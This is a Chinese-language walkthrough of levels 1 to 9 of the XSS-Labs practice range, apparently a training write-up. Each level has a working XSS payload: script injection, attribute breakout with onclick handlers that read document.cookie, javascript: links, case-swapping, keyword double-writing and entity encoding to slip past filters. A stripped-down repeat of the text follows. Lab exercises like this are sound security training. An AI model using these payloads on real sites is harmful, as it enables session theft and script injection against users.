xss-labs第1-9关通关全教程
字数 1550 2025-09-01 11:26:02

XSS-Labs 第1-9关通关教程

第一关:无过滤

特点:没有任何过滤机制

payload

?name=<script>alert(1)</script>

说明:直接使用最基本的script标签注入即可成功。

第二关:闭合script标签绕过

特点:输入被包含在value属性中

测试

<script>alert(1)</script> 失败

前端源码分析:需要主动闭合HTML标签,使<script>标签逃逸出来

payload

?keyword='"><script>alert(1)</script>

"><script>alert(1)</script>

第三关:单引号onclick事件绕过

特点:尖括号被转义,无法使用标签

测试

<script>alert(1)</script> 失败

源码分析

  • 左尖括号和右尖括号被转义
  • 只有单引号没有被转义
  • value值被单引号包含

解决方案:使用onclick事件弹窗

payload

#' onclick='alert(document.cookie)

说明

  • 井号可有可无
  • onclick后面的单引号与后面原先的单引号闭合
  • 需要点击输入框触发

第四关:双引号onclick事件绕过

特点:value值被双引号包含

测试

  • 单双引号都没被过滤
  • value的值是被双引号包含

payload

#" onclick="alert(document.cookie)

操作:点击输入框的#即可触发

第五关:a标签js伪协议绕过

特点

  • script标签里的r和i之间被加上了下划线
  • ' " < > 都没被过滤
  • onclick事件被过滤

解决方案:使用a标签

payload

#"><a href=javascript:alert(1)>

第六关:大小写绕过

特点:关键字被过滤但大小写敏感

测试

  • 确认a标签、script标签和onclick事件被过滤

payload

"><scRipt>alert(1)</scRipt>

替代方案

  • href大小写:hRef
  • on事件大小写:oNclick

第七关:双写绕过

特点:script关键字被过滤

测试

<script>alert(1)</script> 只剩下尖括号

payload

"><scscriptript>alert(1)</scscriptript>

替代方案

  • a标签的href双写:hhrefref
  • onclick中的on双写:oonnclick

第八关:href之unicode编码绕过

特点:输入内容被赋值给href属性

测试

  • javascript:alert(1) 被过滤
  • 大小写绕过无效

解决方案:使用unicode编码

payload构建步骤

  1. javascript:alert()转换为unicode编码
  2. 点击友情链接触发

示例payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

第九关:href之unicode编码绕过(含http://检查)

特点:输入中需要包含http://

payload构造

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;//http://

说明

  • 使用unicode编码javascript部分
  • 最后用双斜杠隔断并添加http://满足检查条件
  • 点击友情链接触发

总结

关卡 绕过技术 关键payload
1 无过滤 <script>alert(1)</script>
2 闭合标签 "><script>alert(1)</script>
3 onclick事件 #' onclick='alert(1)
4 onclick事件 #" onclick="alert(1)
5 a标签伪协议 "><a href=javascript:alert(1)>
6 大小写绕过 "><scRipt>alert(1)</scRipt>
7 双写绕过 "><scscriptript>alert(1)</scscriptript>
8 unicode编码 javascript:alert()的unicode编码
9 unicode编码+http检查 unicode编码部分//http://

通过这9关的学习,可以掌握基本的XSS绕过技术,包括标签闭合、事件处理、编码绕过等多种方法。

XSS-Labs 第1-9关通关教程 第一关:无过滤 特点 :没有任何过滤机制 payload : 说明 :直接使用最基本的script标签注入即可成功。 第二关:闭合script标签绕过 特点 :输入被包含在value属性中 测试 : 前端源码分析 :需要主动闭合HTML标签,使 <script> 标签逃逸出来 payload : 或 第三关:单引号onclick事件绕过 特点 :尖括号被转义,无法使用标签 测试 : 源码分析 : 左尖括号和右尖括号被转义 只有单引号没有被转义 value值被单引号包含 解决方案 :使用onclick事件弹窗 payload : 说明 : 井号可有可无 onclick后面的单引号与后面原先的单引号闭合 需要点击输入框触发 第四关:双引号onclick事件绕过 特点 :value值被双引号包含 测试 : 单双引号都没被过滤 value的值是被双引号包含 payload : 操作 :点击输入框的#即可触发 第五关:a标签js伪协议绕过 特点 : script标签里的r和i之间被加上了下划线 ' " < > 都没被过滤 onclick事件被过滤 解决方案 :使用a标签 payload : 第六关:大小写绕过 特点 :关键字被过滤但大小写敏感 测试 : 确认a标签、script标签和onclick事件被过滤 payload : 替代方案 : href大小写: hRef on事件大小写: oNclick 第七关:双写绕过 特点 :script关键字被过滤 测试 : payload : 替代方案 : a标签的href双写: hhrefref onclick中的on双写: oonnclick 第八关:href之unicode编码绕过 特点 :输入内容被赋值给href属性 测试 : javascript:alert(1) 被过滤 大小写绕过无效 解决方案 :使用unicode编码 payload构建步骤 : 将 javascript:alert() 转换为unicode编码 点击友情链接触发 示例payload : 第九关:href之unicode编码绕过(含http://检查) 特点 :输入中需要包含 http:// payload构造 : 说明 : 使用unicode编码javascript部分 最后用双斜杠隔断并添加http://满足检查条件 点击友情链接触发 总结 | 关卡 | 绕过技术 | 关键payload | |------|----------|-------------| | 1 | 无过滤 | <script>alert(1)</script> | | 2 | 闭合标签 | "><script>alert(1)</script> | | 3 | onclick事件 | #' onclick='alert(1) | | 4 | onclick事件 | #" onclick="alert(1) | | 5 | a标签伪协议 | "><a href=javascript:alert(1)> | | 6 | 大小写绕过 | "><scRipt>alert(1)</scRipt> | | 7 | 双写绕过 | "><scscriptript>alert(1)</scscriptript> | | 8 | unicode编码 | javascript:alert() 的unicode编码 | | 9 | unicode编码+http检查 | unicode编码部分//http:// | 通过这9关的学习,可以掌握基本的XSS绕过技术,包括标签闭合、事件处理、编码绕过等多种方法。